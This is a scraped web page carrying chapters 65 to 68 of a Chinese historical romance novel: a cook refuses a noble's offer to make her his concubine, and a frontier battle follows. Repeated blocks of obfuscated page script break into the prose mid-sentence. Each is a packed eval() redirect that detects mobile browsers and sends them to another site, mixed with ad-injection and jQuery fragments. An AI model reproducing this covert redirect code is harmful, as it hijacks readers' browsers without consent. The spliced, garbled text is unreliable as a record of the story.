好久没有挂在耳边的名字被突然点醒，苏眠雪摇头，叹气着：“可他不是什么名门少爷，他只是普通的农户，就只去了川州，也改不了他平民的身份。” 当下太平盛世，长安尚且未有动荡，足以证明北边并未有过大规模的厮杀，三年五载，回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544123|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也是守城门的小兵。 和她一个酒楼老板，正是相配。 “我忘了。” 裴攸有些固执，起先自觉身份不简单傲持着以为苏眠雪是个贪图金银细软的，将来认祖归宗给些银钱打发。 但一个拿金粉刻了字的玉坠，把在淮州景乡镇只有容貌的他框住太多，以至于太过傲然，当那酒楼和他没有任何关系，持着读书人的清高，后来才醒悟，是这个玉坠锁住他太多。 若真是那家的少爷，为何这般久了还是店小二，旁人欢欢喜喜，唯有他孤僻一边，再多热闹也不及他身上。 “我以为你会顺着我，同我一样坚持我的选择。”　裴攸自知裴夫人为了留住他不会做什么强硬的事，记不起来的事，又经历太多，强行融入只会不适，不如顺其自然，选择贴合自己的。 苏眠雪说：“她是你的阿娘，就是忘了，等到过年也该回去看看。” 裴攸指尖颤栗，撇过头不愿看她，后边脚步声渐远，心头又是一痛，猛然回过身，三步并两步拉住她，苏眠雪一愣，错愕之后甩开他的手，面色不喜，厌恶他突如其来的逾矩。 “你和我一块去裴府，成吗。”裴攸没了底气。 苏眠雪叹息着，终是应下他这个请求。 她有自己的私心，尚书和侍郎相比，生生压了一头，若是裴攸回到裴府，他没记起来不认裴夫人这位阿娘，让裴攸接送苏盈上学和放学，也能打消那些姑娘不该有的念想。 回去后苏眠雪写了两封书信亲自送到裴府，由裴府下人代为转交，裴钰耳朵带风，瞧着不正经，惯喜爱这些闲闻轶事，大多都是是妇孺口中得知。 他们聚在一块，往后边一插，等到聊得激情时，随意问两嘴就能知晓。 裴攸不再去清风楼，专注于送苏盈去书院。 这日到酒楼时，厨子多有懈怠，三三两两的食客，坐在一角窗户神游。 喜庆的色彩愈发浓烈，一转眼已是两个冬日，她和李大牛，也有一年未有联系，他们都是沧海中的浮萍，聚时终有分散时。 65. 杏仁酪 苏眠雪拿着糕点让裴钰叫了车夫送她去公主府，慧安县主和永昌长公主住在一块，驸马除了月初和节日宫宴来请安，平日并不在公主府中。 到府前，守在门外的侍卫将她拦下，待她将手中糕点呈上去，说明来意后，并没有管事知晓县主订了酒楼的糕点。 所以苏眠雪在府外等了半晌。 敢怒不敢言，等到慧安县主身边的婢子来时，还要笑着将食盒递上去，斟酌之后挑些爱听的话出来。 婢子拿走她手里的食盒，含着笑道：“县主今早约了几位千金赏花，一时心急，怕那花去晚被冻坏失了美貌，才忘记嘱咐奴婢们告知管事一声，苏姑娘久等了。” 苏眠雪看了眼顺合道：“县主的事儿要紧，糕点是刚做出来的，这冰天雪地的，放得久了怕凉了会影响口感。” 裴钰的车夫还在等她，婢子盈盈一笑，行了一个标准的礼，拿着食盒回了府内。 慧安县主是永昌长公主的长女，从前的事知情的人不多，永昌长公主便是其中之一，为了讨好这位尊贵的皇姐高兴，便把慧安送过去，以抚昭阳长公主迫失爱女之心。 自此，阖宫上下自然娇宠着这位县主，人人都说是温柔和善，宽待下人的性子。 温柔和善的性子底下，又是掌权者不容他们冒犯的铁血，三番五次，都是在告诫她，莫要觊觎不该拥有的东西。 便是县主容得下她，也只能在县主所施舍下度日。 她不愿意，所以她不会去攀嫁高门，她和裴攸也没有结果。 这段感情是一路陪伴，若是多了一人，结局又会有所不同。 她看过不少书，也明白门当户对事。县主是那县主，而她只是被送到县主手下的那盘糕点，想要便能随意地吩咐，等待下面的人送来。 糕点并非只有这一盘，变了口感便能再换一盏。 …… 侍女提着糕点回到谢宝姝所在的暖室，温暖的屋子里瞬而钻入一丝寒气，冻得几位贵女打了寒颤，将一双双白嫩的小手伸向炉子上，拨弄着上边的糕点果子。 “这些是宫里的厨子送来，都是苏来斋的招牌。”谢宝姝随意笑着，瓜子大的小脸上写满了天真，歪了下脑袋，发间金簪显露，叮当叮当碰在一块，“不知道苏姐姐的做得，可能和这些糕点相比。” 谢宝姝生在一个明媚的春日，那年昭阳长公主在冬日里失了女儿，却在来年的春日得了一个新的女孩。 昭阳长公主理应当喜欢春日的光景，从而厌恶冬日的枯败。 谢宝姝也是如此。 红泥小炉上边摆着的是造型精致，有桃花、荷花、南瓜、花生等样式的糕点。 边上摆了错落有致的堂花①，隔着花窗可见外边景观，耳颊边唯有暖香阵阵。 侍女打开食盒，拿出里边的雪蒸糕，雪白外观平平无奇，在场的少女对着白色糕点提不出半点兴趣。 和其他颜色模样各异的糕点相比，很快落了下风。 从府门到内院有不少路，苏眠雪在外边又等会时间，即便底下塞了笼子，用炭火暖着糕点，拿出来时依旧晚了时间。 同她一块的贵女无不听闻了此事，明了这是谢宝姝故意的挖苦，就是没有将人叫到面前来，也在门外吹了不少风。 谢宝姝可惜道：“苏姐姐送得慢，到手已经冷了，撤掉吧。” 糕点被随意处置，侍女觉得不够，隔了几日，私下到清风楼前，笑意吟吟说了谢宝姝对糕点的不满，里面有谢宝姝的默认，全做了这得利的人。 彼时阿芷差人请了苏眠雪到府中，做一桌饭菜招待好友。 阿芷与其夫君寒门出身，身份不足在朝中已有势力的望族，在朝堂上靠得是自己的学识，也靠对帝王没有要挟的家世。 她所邀请的几位命妇夫婿多在朝中官位不高，同她一样寒门而起，而这次的主角，该是裴夫人和苏眠雪。 寒门虽牵制世家，傀儡丝握在当今帝王手中，阿芷心思活络，偏偏想要占尽两边，打进这些世家夫人的门槛。 眼下现成的答案送到她眼前，岂有不抄的理。 苏眠雪被侍女引着进了小厨房，“姑娘的蟹酿橙做得不错，我们家夫人今儿请了六位夫人来，这些蟹都是水里藏着的，蟹黄保足。” 请了六位夫人，一共有七位夫人在。 侍女又道：“不用做些大菜，午时闲聊便可。” 苏眠雪了然，要一些精致，用来闲聊消遣的零嘴。 “我知晓了。”她点头。 “夫人说姑娘心细手巧，奴婢便扰您了，若有什么需要的，尽管使唤奴婢。”侍女退在一边，禁声不言。 苏眠雪看着桌上食材想了会，先将水里的蟹都给捞出来处理了，将蟹膏蟹肉剔进橙肚里去，琼脂泡入清水。 甜杏仁加炉灰一撮放热水，浸过之后捞出待凉，杏仁捏去皮用清水洗净，两个小厮抬来清洗干净的石磨，杏仁同豆子一般，和水一块丢进研磨成碎，绢袋挤压出里头的杏汁。 侍女看得新奇，当场研磨杏仁这种事，厨子都是吩咐底下人做，等底下的事情做好拿上来，才是厨子大展身手的时候。 而这位苏姑娘是个神人，剥蟹是自己慢慢挑得，杏仁也是自己磨得。 果然同他们夫人说得一样，老实的有些可爱。 苏姑娘是个好拿捏的。 明明底下人能干得事，非要自己来做这力气活。 就是给了巴结的机会，这人也要拒绝，当四品官的厨子，将来再出去也要比现在好。 杏汁到锅中熬煮，放入泡发好的琼脂和冰糖，铺在一个青色碟子中，冷却定型。 蟹酿橙已经蒸好，这道菜她没有太多试手的机会，迄今为止也只做了三次，下的料都是按照书上的比例。 杏仁酪定型好，小刀对称切，去掉边角，摆在盘子中。 两道菜做好，时间正巧在下午，用过午膳休息片刻的几位贵夫人，正坐在暖阁中赏花。 官家夫人受了宫里熏陶，一年四季都喜爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581679|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏花。 裴夫人兴致缺缺，等到侍女送来两道点心，才有了些兴趣，慢慢用着玉盏中的蟹酿橙。 杏仁酪口感丝滑醇厚，捻起一块，凑到鼻尖，杏仁香味浓重，慢慢吃着，三两下便空了盘。 等几位夫人都尝了两道点心，阿芷唤来侍女：“将苏姑娘叫来，我亲自赏赐。” 裴府的事风言风语总有几句流传出来，便是极力瞒下裴攸失忆这事，也难免听说了带回来的佳人，甚得四公子的心。 阿芷赌下她，是势必让裴夫人记着救命恩人的情谊，嫡系如今就这一脉，定是要延续血脉，凭借现在的情分，做个姨娘，只要是安分的，有个子嗣傍身，将来也能站稳在裴府中。 而苏眠雪多少也要感激她的恩情，裴夫人这边拉拢不得，就由苏眠雪来。 “苏姑娘厨艺了得，之前在淮州我便喜欢她的手艺。”阿芷毫不保留地夸赞，“若是喜欢，苏姑娘得空也能请她去府上坐一坐。” “苏姑娘做得菜味道的确好，这蟹酿橙可不好做。” 苏眠雪顿下脚步，又听见里边说：“苏姑娘事儿忙，怎能因我等口腹之欲，而麻烦姑娘呢。” “听说四公子这些日子都在酒楼里头，四公子和县主不日便要成婚，苏姑娘心灵手巧，对公子有救命之恩，裴夫人好事将近。” 轻飘飘的几句话，轻得同天边的残云一般，久久挥散不去。 裴夫人不咸不淡：“长公主同驸马去了淮州，攸儿和县主的婚事，也该等长公主回来才对。” “至于妾室，县主乃天横贵胄，裴氏忠于陛下，此事不得擅自议论，莫让县主多心，扰了清净。” 裴夫人不喜苏眠雪，为了裴府的未来，她能够等到县主诞下子嗣，等到十五年后，用着两位长公主的关系，去谋那至高无上的位置，让裴府重新登至高峰。 而苏眠雪便成了卡在两人中间的刺，惹了县主和长公主的不悦，她只怕会怪罪裴府，将她的苦心经营从此化为虚末。 “县主愿意容下她是县主大方，但我裴府也不能坏了该有的规矩，让县主寒心，皇家寒心，进门的事，也要到来年。”裴夫人笑意不及眼中，讥讽看着阿芷。 阿芷的算盘落空，强扯着笑，目送裴夫人离开，赶忙重新操持着这场宴会，转头一看，苏眠雪正在廊下。 冬日清白，她似一张撒了墨水的宣纸，对阿芷拜了下去，走到面前，出声询问：“夫人唤我来，是为何事。” 阿芷松下一口气，见她眉目间是等待，和其他侍人无异的寻常模样，让身边的人递了一个钱袋。 “再熬一熬，过了这月，春日便要到了。”钱袋里的份量不少，阿芷亲自交到她手上，“苏姑娘，回去吧。” 苏眠雪知晓，拿下本该属于她的这份银钱。 眉心拧起，动了动唇，却未有音量出，良久说：“多谢夫人赏赐。” 她不是可以操控的玩偶，她有自我的意识，也不会顺意而行事，她所拿得，皆是她本该拿的。 66. 春日 她拒了裴攸，连着送去的是六百两银子。 可惜想通放下面子送去时，才从小厮口中得知他已离开长安，若是要等，便是下月。 她不愿等，也不愿再多纠缠，六百两银子，连本带利一同归还，所欠的人情在此刻皆为抵消。 等裴攸回来时，已是四月的时候，恰逢川州边疆一带云晟与大周的第一次交锋。 冬景已去，春日将来。 枯败之后，是明媚的争艳夺娇。 四月是个好时候，冷静之后，从前的冲动皆成了一层不可揭开的逆鳞。 或许是苏眠雪的太过决绝，人人都称赞的好命在她看来避之不及，身边也唯有苏盈懂她，受下所来的流言蜚语，待长久之后如云消散。 再后来是送到手上的喜糖，没有婚礼的亲帖，只有贴了喜字，装满了各种糕点糖果的木盒。 裴夫人和谢宝姝难免顾虑，因为救命之恩扯上裴府，身份不显的女子，一年多的相处下两人生了情愫，即便不相见，也是两人中的一根刺。 长安城内安居乐业，除了将士及远赴川州边疆境地的亲人，这封送来的战报无人在意。 苏眠雪捻着手里的信，房门被人匆忙撞开，苏盈面带喜色：“阿姐，我找到了！有家驿站是给川州的将士送信，只用花些银子，写下他的住处和姓名，就能送到手上呢。” “正好我记得大牛哥现在在哪，左不过那几个县城，只要能送过去，大牛哥肯定能收到。” 她在信上写了不少东西，苏盈休息两日，这两日和柳俏怡满城中跑。 柳俏怡是官家女，今儿受邀和父母去了裴府喝酒，便剩苏盈一人在边上驿站转着。 两人从一开始起便在周围打听，但几个州不同，所去的地方又有所不同。 一封书信遥遥无期，川州过冷，长安城中的驿夫并不爱去那，一年能有两趟已然不错。 马车慢慢地赶，等到了那，天气会暖和一些，所以四月会去一趟川州，所需的银子也会多花一些。 事急，这次送得东西没有多少，糕点皆是清风楼卖得拿了一些，包好后，走到驿站交给负责的人，她站在边上看着人重新规分放好后方才离开。 她今日未去酒楼，裴钰是晚上守在她回家必经的那条路上，红着脸双眼迷离着，他醉得不轻，靠得近了酒味直往鼻尖中钻。 她的朋友不多，更多的是点头之交，遇到能说几句话的。 “阿雪，这是给你的。”裴钰将怀里的盒子交给她，“你莫要伤心，四公子他心里有你，县主也非小气的人，等到六月，他与你，便会长长久久。” “我与他，长长久久？”苏眠雪站着看他，盒子未收下，道，“这话是他说得？” 他对她的心思一直未点破过，两人心照不宣，每次都是点到为止，从未跨过这条线。 这句话实在不像是她所认识的裴攸会说出来的话。 裴钰没意识到她话里不对，自觉跟着她一块走，听她说话时，再醉醺醺地点头。 “是啊，他让我把话转告给你，我怎么会记错。”裴钰急道，“阿雪，你莫要多心，等到六月，安抚好县主后，他便迎你进门！县主我今天见过一面，位好相处的，况且宫里人人都说，县主是位小菩萨。” 苏眠雪失笑，反问道：“你认为不管哪个女子，面对这个选择时，都会去选这条路吗？” 裴钰理所当然点头：“能够攀上贵族，从此改了身份命运，将来孩子便是世家子弟，不管哪个女子都会去选择吧。” 他摇摇晃晃，认真地看她，眼里写满他对此事的认定：“若是我，我也愿意当县主的夫君。” 苏眠雪笑了：“那为何你不是县主豢养的面首，而是县主的夫君。” 所以同为低微卑贱者，男子却可以想象自个是高门千金的夫君，而女子只能是豢养的小雀？ 裴钰顿住，步履迟缓了些，但依旧跟在她身后。 良久，只能听到耳畔呼啸的风，和轻轻的一句：“这不一样。” 苏眠雪瞬间没了争辩的力气。 不由心底悲悯，你瞧，身份不显的她，就是无数次的拒绝，说在旁人看来是欲擒故纵，在耍些小手段。 他们两个之间又有什么不一样，男子娶高门妻是一桩美谈，而女子嫁世家子是不自量力。 不都是因着皮囊而下的承诺，又有何不同。 “没有什么不一样，你若愿意可以同裴攸共侍一妻。但我不愿意，不愿意做谁的妾，不想去和一个不知对方底细的人过，甚至将来只能做一只笼中雀，供人赏玩。” 她拥有过现代的思想，哪怕在她原来的世界，她只是救了一位富二代，富二代要以身相许，认定了要娶她当妻子，这事她也不信。 更何况是这阶级森严的地方，她在这一无所有。 李大牛拼了命去赚那军功，估计也换不回她这一人。 她不该忘记，不该为了富贵而忘了自己的本身。她接受事实，却不能放弃自我。 裴钰不说话了，他醉得不轻，裴府迎亲用来招待的都是好酒好菜。 不过细细回味，苏眠雪说得好像也不错。 “昭阳长公主和驸马去了淮州，估计还有些时日才能回来。”裴钰嘟囔着，苏眠雪也只能趁这段时间进门，不然依长公主的脾性，打得裴尚书不敢上朝另说，估计连裴府都要被掀了。 “话和簪子是我代为转告，我收了他银子替他办事，你若有话，不如去找他当面说清楚。” 裴四公子身为名门望族，身上的威严不抑于裴夫人。 裴夫人事事都要最好，两位公子自然都是人中龙凤，若非没有女儿，不然皇子妃都要出一位了。 “当面说清楚，也免了后患。” 他自认为自己传话向来模棱两可，毕竟对方的神态语气怎么学得了一模一样，有时候的话说出来都是伤人，他作为传话的，自然要往好了去说，以免两边讨不到好。 踏着月色走进小院，裴钰寻了一张椅子混乱躺着，紧紧闭着双眼发上头冠歪在一旁。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏眠雪轻叹了口气，天际渡银，春色满园，他们所见的，都是同一盏月。 …… 胡彪擦拭着刀剑上的血，原先两百人组成的队伍现只剩下寥寥数十人。 银月下，两色融为一体。 留着的四十七人，有十三人是雄虎队的，三十人是精挑细选出来，同他等一块在边闱探查云晟的将士，剩余的，皆是从长安被流放来的囚犯，这辈子无缘归家的路，自然铸了这条血路，以成大周捷胜之路。 李尚武是十二人中的之一，短短半年时间，从无名小卒一跃成了胡彪手下的三把手。 皆归因他不要命的打法，刀剑进不了的身，那就用肉搏，连胡彪这种军癞子看了都要被吓一跳。 水抚县时大伙叫他大牛，到了胡彪底下叫回他从前从未被提起的名字——李尚武。 胡彪说将来封了军功，人家都叫什么什么小将军，到你这便是大牛小将军，又大又小的多不好听，然，便用了这名儿。 刚开始觉得不习惯，后来便慢慢适应，除了几位关系好的私底下会叫，旁人都叫他李小将。 此行重大危机，坐镇川州的车骑将军特派雄虎队十二人前来，接下探子送来的情报，若能成功回去，封赏自然不在话下。 李尚武靠在一块硬石上，拿上千里镜倒弄着，放在眼前往远处看，依稀可见火点，还有火点下走动的人群。 这块栖息地足够他们突破重围，但手下的粮草和箭支又限制了这一举动，不得已，只好作罢。 他道：“将军，既然我们箭支不够，为何不能拿箭支为晃，实则分一支小队下山，杀他一条血路！” 李尚武声音低沉，眼中闪过一抹血色。 一角的四人露出绝望神色，暂时缩在边上，也不过在等待胡彪的发下的死刑。 两百人中死伤最严重的尤为流放而来的死囚，虽说落了一个光荣的叫法，唤什么先锋队，打头阵探军情，说白了就是送死。 胡彪、李尚武等人回去是立下大功，而他等只是算着日子多活一天。 胡彪思考着，提着刀久久未做打算，掠过剩下的四十五人，再见底下火光越盛，而他等只能捂着身上衣裳，三五人聚在一块取暖。 唯一的火苗也因害怕被发现而踩灭，这最后的希望竟然只是这个决定。 “由我亲自带阵，我们十三人，一块冲出去，杀出一条血路！” 胡彪在这支队伍中威望极高，有他一句令下，众人是拿起手中的武器，高高举起，落下，是走向胜利的坚定！ 三十精英架起弓箭，胡彪和李尚武带着人从两边小路而下，而两条路的最终指向，唯有已在山脚下扎营欢呼的，所编制的五百人小队。 初次交锋后，现只剩下百余人。 两锋十三人再次汇合，胡彪放出信号，百支箭羽如约而下，打了对方一个措手不及只顾着眼前的箭。 李尚武提了刀，骨子里的血性再也压抑不住，直逼取的，是扎在中央的最大帐篷——括拔多吉。 67. 龙井虾仁 营帐内，歌舞升平，美人相伴。 拓跋多吉倒在美人怀中醉梦生死，从后边绕着的，金发美人半个身子攀在他肩上，得力副将身边皆备了酒菜美人。 于他们而言，隶属于大周的第一师雄虎队，正处于云晟的边地一带，所以从一开始便是他等的囚中虎，只待他们就自己困死在雪山中，便是剩下四十七人的来年忌日。 “报！” 一士兵匆匆赶来，衣袖沾了血，跪在地上衣衫不整甲冑松垮，扶着头上铁盔，结结巴巴道：“山上，他们在山上！” “在山上做什么？”拓跋多吉搂着美人不以为意。 从椅子上起来，撩开白帘，外面已经乱成一团，像散乱的沙，正在遭受逐个击破。 一支白羽箭陡然从拓跋多吉脸庞射过，留下一条血迹，扎在帐篷上软趴趴挂着。 目极的箭雨杂乱无章，拓跋多吉取了剑走上前一一扫开，因着一开始的急忙，不少士兵还没反应过来已成了箭下亡魂。 另一边，胡彪带着五人杀开一条血路，他的目标，是对方储备粮草的帐篷。 放着粮草的帐篷有五人把守，现在因为出来了乱子，只有两人拿着长矛守在帐篷边，警惕地看着四周。 从山上而下的箭雨中，掺杂着可刺破云霄的寒光，一声哧下，两只箭正中两人眉心，在喧乱中倒下，没有半分声息。 两人脚边还有半坛未喝光的酒，胡彪把酒水洒在粮草上，火把丢下，火光四溅，向周边蔓延。 待一只火红硝烟从粮草处升起，伴随着的是冲出来的，妄图撕毁雪夜的火光，以及更加混乱的云晟士兵。 看不见的敌人，一行小队杀上山顶结果落了空被反制结果成了这刀下亡魂。 怪不得他们轻敌，胡彪等人已经藏匿于雪山足足有十二日，厚重绒衣不好作战，只在衣服里头加件薄袄，早该冻死在里头了。 李尚武和郭宿看见红烟后，各分两边绕后，拓跋多吉刚探出头，未来得及重新组织，存放粮草的帐篷起火，全都急匆匆赶去救火，边上没有水源，看见别说散落的水桶，拿起一股脑泼进去，后面找不着的，就挖一桶雪泼进去。 眼见火势烧得越来越大，却没有任何扑灭的办法。 一支冷箭在夜中闪着银光。 “一群饭桶，他们不过强弩之末，区区四十来人，有何好怕的！”拓跋多吉面色潮红，一双眼珠子却依旧精明，“去河道上凿冰取水，将那些大周来的虫子通通打回去！” 泛着寒气的箭尖已近，千钧一发之际，他随手拉过身边的副将，丢掉已经折了脖子的人，耍了长刀劈向躲在帐篷左边的人。 李尚武眼疾手快，将边上的同伴拉回。 长刀卡在地上，重新举起时带起冻僵的泥土。 半山腰的箭雨已停，他们带来的箭支全部用完，羌族正在三国交界等待，唯有此路，可以避免和羌族碰面，成功回到大周边地。 李尚武动了动早已冻僵而肿如馒头的手，他来这不为别的。 杀的人越多，论得赏越多，杀的人军职越大，将来自己做得官也越高。 他不要旁的，给自己的阿娘和眠雪妹妹争个什么夫人，听说只要七品官就成。 雄虎队都是平民子弟出身，比起那些金尊玉贵、只为加傍荣耀待回朝时领一个官职，承起家族大任的不同，他们只能依靠自己。 手里的刀被紧紧握着，李尚武奋力而起，避过那一击致命的一刀，发了狠劲将自己手中的刀刺进。 “刺啦——” 泛着寒气的刀连根刺入腹部，李尚武没想到会这么顺利，愣住神的那刻，被一个人猛然扑倒在地，没入腹部的刀尖上染了血迹，李尚武撇过头，长刀划过耳畔，他往右边看，眼眶一片湿润，他闭上模糊不清的左眼，身上的人起身将他拉起。 拓跋多吉作为此行的主战，在李尚武冲上去时已经有人在不边上守着。 一堆酒足饭饱喝昏了头的，估计这会连刀都提不起，拿着刀跟在同伴身边瞎转，自然一人动了都露了头。 胡彪和拓跋多吉正打得不可开交，李尚武重新拿稳手中兵器，从背后愤力横扫。 “艹” “你他的抢老子的军功！” 胡彪往边上一躲，气得来回踱步，不解气踢了一脚倒在地上的人。 主干已到，跌跌撞撞刚提着水回来的小卒各个都吓破了胆，不等一会，山上下来的人便一一解决。 “尚武兄，你无碍吧。”刚刚扑倒李尚武的正是他先前拉回去的人。 李尚武抹了一把脸，淡定说：“无碍。” 他回头，原先山上的三十四人只剩下寥寥十人，身上都是挂了彩的。 他们在覆了白雪的高山中太过渺小，过了这条路，便离开云晟的边境，再多走两日，就能回到故土。 白雪纷飞，郭宿拿了剩下的酒，没有杯子，开了盖就能直接灌，道：“喝了酒就回去，我们又是走过死门关的人了！” 胡彪打了他一拳，笑骂着：“嘴贫，是这拓跋多吉生性自大，怕带多了人拿下我等还要落个以多胜少的坏名，毕竟他们那，可有一位骁勇善战的小将军，那年带着二十人突破千人重围，将那千人都困在巨石中活活冻死。” “也不知何时才能回去，我们这儿冰天雪地，家乡已经春暖花开了。” …… 剥壳清理好的虾仁放在小碗中，里面加些盐、白糖、料酒、淀粉、蛋清抓匀，加油封住水分。 “梁夫人是扬州人士，长安虽然汇聚各州特色，总没有本土来得那份滋味。”裴钰站在边上，“扬州的龙井茶叶，和长安的相差远着呢。” “梁夫人从扬州到长安已有多年未回祖宅，茶叶用得必然是扬州所产的。”苏眠雪轻声道，“去将扬州送来的茶叶拿出来吧。” 裴钰乖乖照做，他替苏眠雪泡好龙井茶，沉淀了一会，待茶色浓郁，茶香十足，倒出茶汤浮去茶叶，里头再加糖盐和水淀粉，静置一旁。 虾仁腌制了一会，苏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眠雪拿筷子将它一一挑选出，烧热锅，用筷子探油温后，将虾仁一一放入锅中，拿筷子将虾仁都搅散开，等通体呈白玉色，莫约七分熟时，捞出来转至另一个锅中，勾好的茶汤倒进，翻炒后放些许先前浮去的茶叶，虾仁颜色还泛着白，龙井颜色清脆，色泽清雅，另人食指大开。 龙井虾仁被端送到雅间中，这是上得最后一道菜，里头梁夫人指明要她所做得菜。 她当以为是罗夫人和阿芷推荐，也没多想，进去时才发现里边真不一样。 什么意思，裴夫人、谢宝姝和梁纯都在，还有一堆苏眠雪认不出的面孔。 其实谢宝姝的容貌并非张扬如太阳一般的生动，但因为身上养尊处优、受尽宠爱才会有的一种独特气质，将她这张只能拿清淡来形容的容貌压了下去。 旁人最先注意到的会是她身上的气质，和她那双极为灵动漂亮的眸子，专门看着一个人时平缓温和端庄，离得远了，是乖巧娇气的千金。 她被拥护在中央，如同众星捧月。 她身边的皆是长安城内有头有脸的，贵夫人和贵女。 其实人如何对于他们而言并不重要，就同现在，谢宝姝举着酒盏，笑着看她：“苏姐姐，恭喜。” 已是六月，裴攸对她并不上心，至少她去了两次，都以要务在身被拒绝，连一面也没见上。 苏眠雪轻笑，有礼说道：“县主误会了。” “不知这道龙井虾仁，可合夫人的胃口。” 梁夫人拿去筷子夹了一颗，虾仁上边还有片茶叶，也不计较，送入口中慢慢品味。 “苏姑娘手艺好，做得东西都是好吃的，只是这个茶叶，终究和记忆里的相比有些差距。”梁夫人惋惜说。 梁纯在她边上，握住她的手：“母亲不用惋惜，差得是旧时的记忆。女儿觉得苏姑娘手艺好，有她在，定能照顾好县主和四公子。” 梁夫人面色微僵，很快恢复该有的得体，亲热地拉着她，瞧了一眼苏眠雪，见她不在意的模样，轻声叹：“万事都有不如意的时候，感情上的事，还要看两个人之间的造化。” 梁纯不太在意这虎头虎脑的话，在她看来，平民出身能做裴氏的妾室已是莫大恩典。 苏眠雪：“茶叶自要刚采摘出来，炮制后的才好，放久了，味道却是不尽人意。” 谢宝姝抬起漂亮的眸子，冲她笑了一下。 苏眠雪被她看得发怵，那双漂亮的眸子里承载太多情绪，她觉得是恶意和肆无忌惮的打量，但对上目光的那一刻，又是温柔大方的笑，刚刚那感觉就像是她的错觉。 她打心里清楚，这群看似鲜艳的贵女远没有表面看得光鲜亮丽。 “县主，四爷来了。”一个侍女进来说。 苏眠雪稍稍让了一个身位。 转过身，青年身量清减，眉眼修长疏朗。 裴攸不复重前病弱不沾凡尘，他捏着眉心，眉眼间尽是疲惫，慰问过谢宝姝后，才对苏眠雪道：“阿雪，我今日是来找你的。” 68. 拒绝 苏眠雪带他到专门休息的屋子中，这会儿都在外边忙活，她关了门，也没人敢当着当家的面进来偷懒，倒是可以随意聊些什么。 “阿雪，这些日子没来找你，是有政务傍身，我离开朝堂太久，许多人许多事都有些力不从心，所以忽略了你。” 裴攸知晓苏眠雪找过他，不过都被府里的人挡了回去。 起先迁怒小厮为何不将人直接请进来，后面看见谢宝姝站在他身后，才后知后觉，若是直接见苏眠雪，会打了她的脸。 他心里或许潜移默化，在告诉自己喜欢苏眠雪，其实和家族颜面还有政绩比起，情爱在他眼中又并不重要。 其实在意的是求而不得，先前的无心不在眼中，后来发现又想要占有。 给一个贵妾的身份，再有一个依靠，往后的每月会有一半的时间陪她，给她唯一的偏爱，对他来说就是表达爱意的方式。 就像裴尚书对待府中此生的挚爱，他懂得权衡，给了全部偏爱，家族的重任却只会在妻子和嫡子身上。 “宝姝心性纯善，你们会好相处的。” 苏眠雪直接拒绝：“不必，我答应了大牛哥会等他回来，不管多久。” 她起先是在犹豫，若是跟从前一样，裴攸不是什么裴府的少爷，她或许会将李大牛那句，“我不希望你因为这支簪子起了负担，我希望你是开开心心地戴上它。”当真。 她不是什么因为一句话就非死不可的人，已经过去两个冬日，三年的时间压根不够他回来。 苏眠雪自嘲笑笑，好在那也是或许。 裴攸的皮囊过于耀眼，她和他比起，太过普通。 “当初救你的是我和大牛哥，若你真想报这恩，就帮我找找我爹的下落，顺带查查大牛哥现在在哪，我也好接着给他送信。”苏眠雪说。 她过于坦荡，裴府请了不少名医来，记起从前事的裴攸自然不信她这套说辞。 他负手眺望着窗外热闹的街市车水，风轻云淡道：“他回来，也永远比不上裴氏给你的一切。” 身份、地位、珠宝首饰，依李大牛微薄的月钱，他压根拿不出裴攸随手送下的东西。 “这些我自己都有，比起这些虚有的东西，我更想抓住我所拥有的。”苏眠雪摇头，她并不在乎。 裴攸给得东西多，但都在一个“宠”上，若是进了裴府，她没有这个“宠”该怎么立足？ 苏眠雪不敢想，她自认为看过不少宫斗剧，看过不少书，她只会做菜，再说一些好听的话来多要些赏钱，其他的她一律不会。 裴攸皱起好看的眉锋：“宝姝端庄大气，她在宫里成长自习了皇后娘娘教导，最有容人之度，她既然愿意和你相处，我娘也同意给你贵妾的身份，阿雪，你莫要胡闹，该做些什么自己应当清楚。” 苏眠雪坚定道：“当初找你就是为了挑明，我说出来的话自然清清楚楚。” “我不需要你做什么，你若真念着从前的……恩情，”她话锋里转了一个弯，“就帮我做这两件事吧。” “你不后悔，我自不会碍你。”裴攸见她心意已决不再纠缠，只是话里太过尖锐，怕彻底断了这份情谊，又说，“阿雪，你若日后后悔，便来找我，今天是宝姝任性。” 两人待着时间不久，话落，裴攸背影单薄，一双白玉般的手推开门，那一刻稍稍顿下，停了一会，身后女子并未阻拦，步态更显坚定。 “不会后悔的。” 苏眠雪声音很轻，敛下眸子，盯着绣了栀子花的裙摆出神，待外面喧嚣过后，方推开门，一阵寒意吹来，她双手交叠放在腹前，两边衣袖鼓起，廊上的桌子摆着雕刻成花的冰块。 …… 裴攸手底下消息灵通，但对于苏时章却没有半点法子。 只有苏眠雪口中的名字，长安城到城郊至少住了七十万余人，这找起来无异于沧海一粟，更何况苏眠雪打了苏记的名号都没能找着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 